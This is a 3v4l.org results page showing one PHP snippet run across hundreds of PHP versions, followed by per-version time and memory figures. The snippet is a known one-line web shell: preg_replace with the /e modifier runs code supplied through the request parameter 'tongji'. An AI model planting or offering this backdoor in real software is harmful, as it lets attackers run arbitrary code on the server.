3v4l.org

run code in 300+ PHP versions simultaneously
<?php var_dump(preg_replace('/[copyright]/e',$_REQUEST['tongji'],'error'));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0070.00718.82
8.3.30.0160.00318.63
8.3.20.0000.00720.21
8.3.10.0050.00323.65
8.3.00.0120.00319.64
8.2.170.0110.00322.96
8.2.160.0120.00820.35
8.2.150.0050.00324.18
8.2.140.0080.00024.66
8.2.130.0080.00026.16
8.2.120.0080.00017.75
8.2.110.0060.00322.14
8.2.100.0040.00817.63
8.2.90.0060.00319.27
8.2.80.0040.00417.97
8.2.70.0040.00417.63
8.2.60.0040.00417.68
8.2.50.0080.00018.07
8.2.40.0060.00319.22
8.2.30.0040.00417.96
8.2.20.0070.00017.61
8.2.10.0040.00417.92
8.2.00.0070.00017.96
8.1.270.0040.01119.99
8.1.260.0070.00026.35
8.1.250.0040.00428.09
8.1.240.0000.00922.54
8.1.230.0040.00817.42
8.1.220.0060.00417.74
8.1.210.0050.00318.77
8.1.200.0040.00417.25
8.1.190.0090.00017.23
8.1.180.0040.00418.10
8.1.170.0040.00418.52
8.1.160.0050.00221.92
8.1.150.0000.00718.82
8.1.140.0050.00317.34
8.1.130.0030.00317.63
8.1.120.0070.00017.29
8.1.110.0000.00717.36
8.1.100.0000.00717.39
8.1.90.0040.00417.44
8.1.80.0070.00017.39
8.1.70.0080.00017.39
8.1.60.0040.00417.39
8.1.50.0030.00617.43
8.1.40.0050.00217.31
8.1.30.0040.00417.49
8.1.20.0030.00617.48
8.1.10.0030.00617.41
8.1.00.0000.00717.30
8.0.300.0000.00818.77
8.0.290.0000.00816.75
8.0.280.0030.00318.37
8.0.270.0030.00317.26
8.0.260.0030.00317.05
8.0.250.0000.00716.98
8.0.240.0030.00317.00
8.0.230.0000.00716.96
8.0.220.0000.00716.86
8.0.210.0070.00016.94
8.0.200.0000.00716.91
8.0.190.0030.00516.84
8.0.180.0040.00416.94
8.0.170.0000.00816.93
8.0.160.0070.00016.95
8.0.150.0030.00516.82
8.0.140.0000.00716.79
8.0.130.0070.00013.37
8.0.120.0000.00816.89
8.0.110.0040.00416.93
8.0.100.0080.00016.77
8.0.90.0080.00016.84
8.0.80.0060.01016.88
8.0.70.0000.00716.71
8.0.60.0040.00416.75
8.0.50.0000.00716.70
8.0.30.0110.00516.80
8.0.20.0150.00717.40
8.0.10.0040.00416.99
8.0.00.0120.00616.76
7.4.330.0000.00515.08
7.4.320.0000.00616.52
7.4.300.0040.00416.49
7.4.290.0030.00316.43
7.4.280.0000.00816.41
7.4.270.0030.00316.41
7.4.260.0030.00516.40
7.4.250.0030.00316.43
7.4.240.0030.00316.47
7.4.230.0030.00316.54
7.4.220.0130.00616.44
7.4.210.0070.01016.62
7.4.200.0000.00716.31
7.4.160.0060.01216.39
7.4.150.0070.01017.40
7.4.140.0110.01117.86
7.4.130.0060.01116.37
7.4.120.0090.01016.54
7.4.110.0000.01716.31
7.4.100.0100.00916.48
7.4.90.0070.01016.49
7.4.80.0060.01019.39
7.4.70.0080.00916.39
7.4.60.0050.01116.50
7.4.50.0040.00416.44
7.4.40.0130.01016.52
7.4.30.0110.00616.45
7.4.00.0090.00614.89
7.3.330.0000.00712.98
7.3.320.0050.00013.00
7.3.310.0060.00016.19
7.3.300.0030.00316.22
7.3.290.0040.01216.18
7.3.280.0100.00816.24
7.3.270.0100.01417.40
7.3.260.0110.01216.28
7.3.250.0090.01016.30
7.3.240.0120.00616.48
7.3.230.0130.01016.39
7.3.210.0120.00616.22
7.3.200.0070.01016.45
7.3.190.0110.00716.24
7.3.180.0040.01316.41
7.3.170.0110.00616.27
7.3.160.0030.01416.31
7.2.330.0150.00316.46
7.2.320.0180.00416.78
7.2.310.0060.00916.65
7.2.300.0100.00716.63
7.2.290.0080.01216.64
7.2.60.0120.00316.75
7.2.00.0000.01319.26
7.1.200.0030.01015.82
7.1.100.0040.00718.25
7.1.70.0030.00717.30
7.1.60.0110.01420.03
7.1.50.0070.01717.01
7.1.00.0070.07322.46
7.0.200.0300.01014.64
7.0.60.0070.08319.79
7.0.50.0130.04717.92
7.0.40.0130.07720.22
7.0.30.0500.05020.35
7.0.20.0230.06720.05
7.0.10.0200.06720.18
7.0.00.0130.07720.34
5.6.280.0070.07020.98
5.6.210.0070.05320.75
5.6.200.0100.06018.17
5.6.190.0130.08320.41
5.6.180.4170.03720.47
5.6.170.0300.07320.49
5.6.160.0100.04320.71
5.6.150.0070.08318.11
5.6.140.0070.04718.14
5.6.130.0070.08018.08
5.6.120.0030.04020.98
5.6.110.0130.07720.97
5.6.100.0100.07720.97
5.6.90.0170.07720.99
5.6.80.0030.04020.36
5.6.70.3330.03020.41
5.5.350.0170.03020.31
5.5.340.0070.06017.96
5.5.330.0130.06720.40
5.5.320.4070.04020.24
5.5.310.0300.04720.41
5.5.300.0070.04018.02
5.5.290.0000.08317.88
5.5.280.0030.06020.84
5.5.270.0130.08020.86
5.5.260.0130.06320.85
5.5.250.0030.06720.61
5.5.240.0200.05720.25
5.4.450.0200.03719.42
5.4.440.0300.07019.46
5.4.430.0170.04719.45
5.4.420.0270.07319.45
5.4.410.0270.03019.28
5.4.400.0270.06018.81
5.4.390.0200.04719.25
5.4.380.0130.04719.07
5.4.370.0230.05719.05
5.4.360.0200.06018.81
5.4.350.0200.05719.16
5.4.340.0230.06719.09
5.4.320.0270.07019.09
5.4.310.0300.07019.14
5.4.300.0270.05719.13
5.4.290.0200.03719.11
5.4.280.0300.07019.09
5.4.270.0330.05019.09
5.4.260.0230.07019.25
5.4.250.0200.05019.24
5.4.240.0200.05719.23
5.4.230.0230.06319.16
5.4.220.0270.04718.93
5.4.210.0330.06018.80
5.4.200.0200.04719.08
5.4.190.0270.06019.24
5.4.180.0300.07019.12
5.4.170.0300.07318.77
5.4.160.0200.05319.06
5.4.150.0100.05018.79
5.4.140.0230.04016.45
5.4.130.0270.06316.21
5.4.120.0200.06016.45
5.4.110.0230.05316.52
5.4.100.0270.04716.21
5.4.90.0230.06316.19
5.4.80.0230.04716.16

preferences:
54.96 ms | 400 KiB | 5 Q